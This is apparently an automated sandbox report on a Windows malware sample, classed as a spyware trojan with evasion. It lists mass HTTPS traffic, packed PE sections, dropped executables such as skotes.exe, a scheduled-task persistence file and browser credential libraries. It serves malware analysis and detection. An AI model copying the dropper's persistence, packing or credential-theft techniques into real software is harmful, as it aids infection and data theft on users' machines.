Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.8:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.30.17.174:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.147:443 -> 192.168.2.8:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.162.84:443 -> 192.168.2.8:49974 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name:
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name:
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name: .idata
Source: 7mpPLxE[1].exe.26.dr	Static PE information: section name:
Source: 7mpPLxE.exe.26.dr	Static PE information: section name:
Source: 7mpPLxE.exe.26.dr	Static PE information: section name: .idata
Source: 7mpPLxE.exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: bf0500e203.exe.26.dr	Static PE information: section name:
Source: bf0500e203.exe.26.dr	Static PE information: section name: .rsrc
Source: bf0500e203.exe.26.dr	Static PE information: section name: .idata
Source: bf0500e203.exe.26.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CABB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CABB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CABB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA5F280

Source: C:\Users\user\DocumentsFBFCAKKKFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA535A0	0_2_6CA535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB34A0	0_2_6CAB34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABC4A0	0_2_6CABC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA66C80	0_2_6CA66C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5D4E0	0_2_6CA5D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96CF0	0_2_6CA96CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA664C0	0_2_6CA664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D4D0	0_2_6CA7D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC542B	0_2_6CAC542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACAC00	0_2_6CACAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95C10	0_2_6CA95C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2C10	0_2_6CAA2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65440	0_2_6CA65440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC545C	0_2_6CAC545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB85F0	0_2_6CAB85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90DD0	0_2_6CA90DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6FD00	0_2_6CA6FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7ED10	0_2_6CA7ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80512	0_2_6CA80512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4EA0	0_2_6CAB4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABE680	0_2_6CABE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75E90	0_2_6CA75E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC76E3	0_2_6CAC76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5BEF0	0_2_6CA5BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6FEF0	0_2_6CA6FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB9E30	0_2_6CAB9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5600	0_2_6CAA5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA97E10	0_2_6CA97E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6E63	0_2_6CAC6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C670	0_2_6CA5C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA2E4E	0_2_6CAA2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA74640	0_2_6CA74640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA79E50	0_2_6CA79E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA93E50	0_2_6CA93E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA77A0	0_2_6CAA77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5DFE0	0_2_6CA5DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86FF0	0_2_6CA86FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA69F00	0_2_6CA69F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA97710	0_2_6CA97710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA860A0	0_2_6CA860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C0E0	0_2_6CA7C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA958E0	0_2_6CA958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC50C7	0_2_6CAC50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9B820	0_2_6CA9B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA4820	0_2_6CAA4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA67810	0_2_6CA67810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9F070	0_2_6CA9F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA78850	0_2_6CA78850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D850	0_2_6CA7D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C9A0	0_2_6CA5C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D9B0	0_2_6CA8D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA95190	0_2_6CA95190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2990	0_2_6CAB2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D960	0_2_6CA6D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB970	0_2_6CAAB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB170	0_2_6CACB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7A940	0_2_6CA7A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA522A0	0_2_6CA522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84AA0	0_2_6CA84AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6CAB0	0_2_6CA6CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC2AB0	0_2_6CAC2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACBA90	0_2_6CACBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA71AF0	0_2_6CA71AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9E2F0	0_2_6CA9E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA98AC0	0_2_6CA98AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA99A60	0_2_6CA99A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5F380	0_2_6CA5F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC53C8	0_2_6CAC53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D320	0_2_6CA9D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C370	0_2_6CA6C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA55340	0_2_6CA55340
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0060E530	26_2_0060E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00648860	26_2_00648860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00647049	26_2_00647049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_006478BB	26_2_006478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00642D10	26_2_00642D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00604DE0	26_2_00604DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_006431A8	26_2_006431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00604B30	26_2_00604B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00637F36	26_2_00637F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_0064779B	26_2_0064779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA8CBE8 appears 134 times

Source: random[1].exe.26.dr	Static PE information: No import functions for PE file found
Source: bf0500e203.exe.26.dr	Static PE information: No import functions for PE file found

Source: random[1].exe.26.dr	Static PE information: Data appended to the last section found
Source: bf0500e203.exe.26.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameZEr vs file.exe
Source: file.exe, 00000000.00000002.2081521402.0000000023C80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2091556387.000000006CCD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: wldjnkue ZLIB complexity 0.994826151065449
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982544277929155
Source: DocumentsFBFCAKKKFB.exe.0.dr	Static PE information: Section: cmeqxuop ZLIB complexity 0.9947681902301377
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982544277929155
Source: random[1].exe.0.dr	Static PE information: Section: cmeqxuop ZLIB complexity 0.9947681902301377
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.9982544277929155
Source: skotes.exe.22.dr	Static PE information: Section: cmeqxuop ZLIB complexity 0.9947681902301377
Source: 7mpPLxE[1].exe.26.dr	Static PE information: Section: ZLIB complexity 0.9992955942622951
Source: 7mpPLxE[1].exe.26.dr	Static PE information: Section: tjxhgeed ZLIB complexity 0.9947236824781823
Source: 7mpPLxE.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9992955942622951
Source: 7mpPLxE.exe.26.dr	Static PE information: Section: tjxhgeed ZLIB complexity 0.9947236824781823

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@73/298@25/30

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAB7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\6G1CTP01.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8788:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

